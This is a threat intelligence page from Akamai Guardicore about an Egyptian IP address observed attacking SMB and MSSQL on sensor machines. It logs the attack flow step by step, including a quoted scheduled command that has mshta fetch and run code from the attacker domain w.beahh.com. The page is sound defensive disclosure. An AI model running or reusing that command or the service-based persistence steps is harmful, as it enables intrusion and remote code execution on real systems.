Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 41.38.46.188Malicious

IP Address: 41.38.46.188Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Driver Configuration Successful SMB Login Service Start File Operation By CMD Service Configuration System File Modification Access Suspicious Domain SMB Null Session Login CMD SMB Share Connect Access Share Scheduled Task Creation Execute from Share Service Creation Driver Start SMB Service Stop Listening Download File DNS Query Download and Execute Driver Creation Service Deletion

Associated Attack Servers

w.beahh.com

Basic Information

IP Address

41.38.46.188

Domain

-

ISP

-

Country

Egypt

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-11-03

Last seen in Akamai Guardicore Segmentation

2023-11-04

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

ilmelpmf.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\ilmelpmf.exe as a service named fkIU under service group None

Service Start Service Creation

C:\windows\temp\svchost.exe was downloaded

Download File

Service fkIU was stopped

Service Stop

c:\windows\system32\services.exe installed and started cmd as a service named WlQt under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started cmd as a service named fxqm under service group None

Service Start Service Creation

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 2 times

Successful SMB Login

c:\windows\system32\services.exe installed and started system32\drivers\tcpip6.sys as a service named Tcpip6 under service group None

Driver Start Service Creation

c:\windows\system32\services.exe installed and started \\server-backup\c$\xunpyhko.exe as a service named iBJX under service group None

Service Start Service Creation

xunpyhko.exe was executed from the remote share \\server-backup\c$

Execute from Share

System file C:\WINDOWS\security\Database\secedit.sdb was modified

System File Modification

c:\windows\system32\netsh.exe installed and started %systemroot%\system32\6to4svc.dll as a service named 6to4 under service group NetworkService

Service Start Service Creation

c:\windows\system32\services.exe installed and started system32\drivers\smb.sys as a service named Smb under service group None

Driver Start Service Creation

c:\windows\system32\services.exe installed system32\drivers\tunmp.sys as a service named tunmp under service group None

Service Creation

iweiqykk.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\iweiqykk.exe as a service named OLnQ under service group None

Service Start Service Creation

Process netsvcs Service Group attempted to access suspicious domains: _LDAP._TCP

Access Suspicious Domain DNS Query

Process NetworkService Service Group started listening on ports: 65531, 65532 and 65533

Listening

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.beahh.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

The command line c:\windows\GjRwiZ.exe was scheduled to run by modifying C:\WINDOWS\Tasks\CUiWIZ.job

The command line c:\windows\temp\installed.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autoload.job

The file C:\WINDOWS\GjRwiZ.exe was downloaded and executed 2 times

Download and Execute

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.beahh.com

Access Suspicious Domain DNS Query

The file C:\WINDOWS\Temp\_MEI11722\python27.dll was downloaded and loaded by c:\windows\temp\_mei11722\python27.dll

Download and Execute

The file C:\WINDOWS\Temp\_MEI11722\msvcr90.dll was downloaded and loaded by c:\windows\temp\_mei11722\msvcr90.dll

Download and Execute

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

Connection was closed due to timeout

Associated Files

C:\ABgASgjJ.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes